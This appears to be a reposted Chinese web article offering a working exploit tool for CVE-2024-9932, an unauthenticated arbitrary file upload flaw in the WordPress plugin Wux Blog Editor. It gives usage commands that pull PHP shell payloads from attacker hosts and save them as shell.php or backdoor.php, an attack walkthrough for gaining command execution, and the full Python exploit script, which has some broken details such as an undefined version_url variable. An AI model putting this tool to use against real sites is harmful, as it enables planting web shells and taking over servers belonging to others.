当前位置: 首页
AI教程
Wux Blog Editor漏洞利用工具CVE-2024-9932

Wux Blog Editor漏洞利用工具CVE-2024-9932

时间:2026-06-08
转载

Wux Blog Editor 任意文件上传漏洞利用工具 (CVE-2024-9932) 这是一个专为 WordPress 插件 Wux Blog Editor 设计的安全概念验证(PoC)脚本。该插件在 3 0 0 版本及之前存在一个严重漏洞——未经身份验证的攻击者可以绕过文件类型验证,上传任意文

Wux Blog Editor 任意文件上传漏洞利用工具 (CVE-2024-9932)

这是一个专为 WordPress 插件 Wux Blog Editor 设计的安全概念验证(PoC)脚本。该插件在 3.0.0 版本及之前存在一个严重漏洞——未经身份验证的攻击者可以绕过文件类型验证,上传任意文件到服务器,进而有可能实现远程代码执行(RCE)。简单来说,就是攻击者能直接往目标网站里塞任何东西,危险性不言而喻。

Wux Blog Editor 漏洞利用工具 (CVE-2024-9932)

功能特性

  • 任意文件上传:利用 wuxbt_insertImageNew 函数中不充分的文件类型验证,上传任意远程文件。
  • 远程代码执行:支持上传包含恶意代码(如 PHP Shell)的文件,实现远程命令执行。
  • 自定义文件名:可指定上传后的文件名,便于访问和利用。
  • 教育用途:帮助安全研究人员理解漏洞原理,测试自身环境安全性。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests 库

安装步骤

  1. 克隆项目:
    git clone https://github.com/your-repo/CVE-2024-9932-POC.git
    cd CVE-2024-9932-POC
  2. 安装依赖:
    pip install requests
  3. 验证安装:
    python CVE-2024-9932.py -h
    如果看到帮助信息,说明已经准备就绪。

使用说明

基本语法

python CVE-2024-9932.py -u <目标URL> -ur <远程文件URL> [-n <目标文件名>]

参数说明

参数简写必填描述
--url-u是WordPress 目标站点的基础 URL(例如 http://example.com/wordpress)
--remote-url-ur是包含恶意内容的远程文件 URL(例如 http://attacker.com/shell.txt)
--name-n否上传后保存的文件名(例如 shell.php),默认为 shell.php

使用示例

示例1:上传默认名称的 PHP Shell

python CVE-2024-9932.py -u http://192.168.100.74/wordpress -ur http://192.168.100.54/shell.txt

示例2:自定义上传文件名

python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n backdoor.php

典型攻击场景

  1. 信息收集:使用 -u 参数识别目标 WordPress 站点的插件版本。
  2. 准备载荷:在公网或本地服务器上托管包含 PHP 恶意代码的文本文件(如 shell.txt)。
  3. 发起攻击:执行上述命令,将载荷上传至目标服务器的 wp-content/uploads/年/月/ 目录。
  4. 获得权限:访问返回的文件 URL(例如 http://victim.com/wordpress/wp-content/uploads/2025/01/shell.php)即可执行命令。

成功输出示例

[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php

核心代码

漏洞利用主脚本 (CVE-2024-9932.py)

import argparse
import requests
import sys

def banner():
    print("""...""")  # 略去ASCII艺术图

def check_version(base_url):
    """检测插件版本"""
    try:
        response = requests.get(version_url)
        if response.status_code == 200:
            for line in response.text.splitlines():
                if line.startswith("Stable tag:"):
                    version = line.split(":")[1].strip()
                    print(f"[+] Detected Wux Blog Editor version: {version}")
                    return version
        print("[-] Could not determine plugin version. Target may be not vulnerable.")
        return None
    except Exception as e:
        print(f"[-] Version check failed: {e}")
        return None

def exploit(target_url, remote_file_url, file_name):
    """执行漏洞利用:上传远程文件至目标服务器"""
    upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    files = {
        'action': (None, 'wuxbt_insertImageNew'),
        'file': (file_name, requests.get(remote_file_url).content, 'image/jpeg')
    }
    try:
        response = requests.post(upload_endpoint, files=files)
        if response.status_code == 200:
            if "wp-content/uploads" in response.text:
                import re
                match = re.search(r'(wp-content/uploads/[^s"']+.php)', response.text)
                if match:
                    full_url = f"{target_url}/{match.group(1)}"
                    print(f"[+] File found: {full_url}")
                else:
                    print("[+] File uploaded successfully, but URL could not be extracted automatically.")
            else:
                print("[-] Upload may ha ve failed. Response does not indicate success.")
        else:
            print(f"[-] Upload failed with HTTP status {response.status_code}")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

def main():
    banner()
    parser = argparse.ArgumentParser(description="Wux Blog Editor - Arbitrary File Upload")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress server")
    parser.add_argument("-ur", "--remote-url", required=True, help="Remote file URL")
    parser.add_argument("-n", "--name", default="shell.php", help="Desired file name")
    args = parser.parse_args()
    
    version = check_version(args.url)
    if version and version <= "3.0.0":
        print("[+] Target appears vulnerable. Proceeding with exploit...")
        exploit(args.url, args.remote_url, args.name)
    else:
        print("[-] Target does not seem vulnerable or version check failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

漏洞原理说明

这个漏洞的根源在于插件中 wuxbt_insertImageNew 函数对上传文件的 MIME 类型检查不够严格。攻击者可以这样做:

  1. 将恶意 PHP 代码伪装成合法的图片 MIME 类型(比如 image/jpeg)。
  2. 通过 admin-ajax.php 端点触发文件上传功能。
  3. 服务器只检查了 MIME 类型,却没有验证文件的真实内容,于是 PHP 文件就被顺利保存了下来。
  4. 上传的文件被存放在 /wp-content/uploads/年/月/ 目录下,攻击者可以直接通过 HTTP 访问并执行它。

⚠️ 免责声明
本工具仅用于教育目的和安全研究。未经系统所有者明确授权,使用此脚本攻击任何系统均属违法行为。使用者需自行承担一切法律责任。

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
CAD零基础入门教程:坐标输入、图层管理与基础绘图命令

CAD零基础入门教程:坐标输入、图层管理与基础绘图命令

本文面向CAD零基础学习者,系统讲解坐标输入、图层管理与基础绘图命令的核心用法。通过分步实操与常见问题排查,帮助新手建立精确绘图习惯,掌握规范出图的基础能力。

时间:2026-09-01 16:53
CAD从入门到项目交付:绘图、标注、图块与实战工作流

CAD从入门到项目交付:绘图、标注、图块与实战工作流

掌握CAD的核心在于建立“画得准、标得清、复用快、交付稳”的工作流。本文提供从环境设置、高频命令组合、标注规范、图块标准化到项目分阶段交付的完整路径,帮助初学者避免常见返工陷阱,独立完成可检查、可复用、可打印的工程图纸。

时间:2026-09-01 16:52
Claude Code 登录指南:个人、Teams 与企业账号区分与授权步骤

Claude Code 登录指南:个人、Teams 与企业账号区分与授权步骤

本文详细解析 Claude Code 登录前的账号类型区分方法,涵盖个人订阅、Teams 席位与企业 Enterprise 席位的授权路径差异。提供终端登录命令、环境变量排查及常见异常处理步骤,帮助用户快速完成正确授权并避免登录路径混淆。

时间:2026-09-01 14:27
Claude Code 文件修改前的权限模式配置与命令审批指南

Claude Code 文件修改前的权限模式配置与命令审批指南

本文详细介绍Claude Code在修改文件前的权限模式配置方法,包括defaultMode可选值、permissions allow与deny规则设置、多层级配置文件管理以及 status验证技巧,帮助开发者安全高效地使用AI编程助手。

时间:2026-09-01 14:12
Claude Code接入VS Code后先测扩展和终端命令

Claude Code接入VS Code后先测扩展和终端命令

在VS Code中接入Claude Code后,建议优先验证扩展面板与集成终端两条入口。本文提供标准检查顺序、关键命令与常见故障排查路径,帮助你快速确认环境就绪,避免后续开发受阻。

时间:2026-09-01 14:10
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全